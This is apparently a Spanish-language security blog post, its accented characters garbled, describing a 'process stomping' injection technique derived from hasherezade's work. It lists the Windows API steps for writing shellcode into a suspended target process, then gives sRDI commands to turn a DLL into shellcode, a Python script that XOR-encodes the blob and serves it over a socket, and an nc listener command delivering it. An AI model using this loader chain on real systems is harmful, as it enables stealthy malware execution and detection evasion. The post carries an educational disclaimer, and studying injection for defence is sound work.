Ver Blog

Process Injection: T茅cnica de Ejecuci贸n de C贸digo Malicioso

Una variaci贸n del proceso de reescritura de hasherezade

#Process Injection

#AI

Luis Javier Navarrete -

@Luijait

CISO, Developer and Project Ideator

Introducci贸n

La t茅cnica de Sobregiro de Proceso es una variaci贸n del proceso de reescritura de hasherezade que permite ejecutar c贸digos shell en la secci贸n de un programa objetivo. A continuaci贸n se detallan los pasos principales de esta t茅cnica:

  1. CreateProcess: Se establece la marca de creaci贸n de procesos para suspender el hilo principal del proceso (usando CREATE_SUSPENDED o 0x00000004).
  2. WriteProcessMemory: Es usado para escribir cada c贸digo shell malicioso en la secci贸n de proceso del objetivo.
  3. SetThreadContext: Sirve para indicar el punto de entrada al nuevo c贸digo en una secci贸n que ha sido escrita previamente.
  4. ResumeThread: Contin煤a la ejecuci贸n del hilo.

Un ejemplo de aplicaci贸n de esta t茅cnica consiste en usar sRDI para cargar un archivo DLL con un payload en una secci贸n ejecutable de solo lectura y escritura (RWX) en un programa objetivo. En el siguiente diagrama se describen los pasos involucrados:

Advertencia: Toda la informaci贸n y contenido se proporciona 煤nicamente con fines educativos. Sigue las instrucciones bajo tu propio riesgo. El autor y su empleador no son responsables de cualquier da帽o directo o indirecto que pueda resultar de cualquier persona o organizaci贸n.

Cr茅ditos: Este trabajo ha sido posible gracias al conocimiento y herramientas compartidas por Aleksandra Doniec @hasherezade e Nick Landers.

Uso

Selecciona tu proceso objetivo y modifica las variables globales seg煤n corresponda en ProcessStomping.cpp. Compila el proyecto sRDI y aseg煤rate de que el salto sea suficiente como para saltarse sobre tu bloque de c贸digo shell generado con sRDI. Actualiza las herramientas de sRDI:

cd \\sRDI-master
python .\\lib\\Python\\EncodeBlobs.py .\\

Genera un payload DLL reflectivo sin carga para un archivo dll de tu elecci贸n y luego genera un blob de shellcode de sRDI:

python .\\lib\\Python\\ConvertToShellcode.py -b -f "changethedefault" .\\noRLx86.dll
import socket

def xor(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

with open("noRLx86.bin", 'rb') as f:
    data = f.read()
    enc_data = xor(data, b'clave')
    
    with open('noRLx86_enc.bin', 'wb') as f:
        f.write(enc_data)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 8000)
sock.bind(server_address)
sock.listen(1)
print(f'Esperando conexiones en {server_address}')
conn, addr = sock.accept()
print(f'Conectado con {addr}')
conn.sendall(enc_data)
conn.close()

Descarga el blob XOR mediante un cliente de socket simple en Python:

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

Despu茅s de la ejecuci贸n, el blob de sRDI desaparecer谩 para eliminar artefactos innecesarios.

Precauciones: Para 茅xito en la ejecuci贸n de esta t茅cnica, debes seleccionar el proceso objetivo correcto y utilizar un archivo DLL con un payload que no tenga un cargador reflexivo definido por el usuario.

Tabla de Contenidos

Introducci贸n

Uso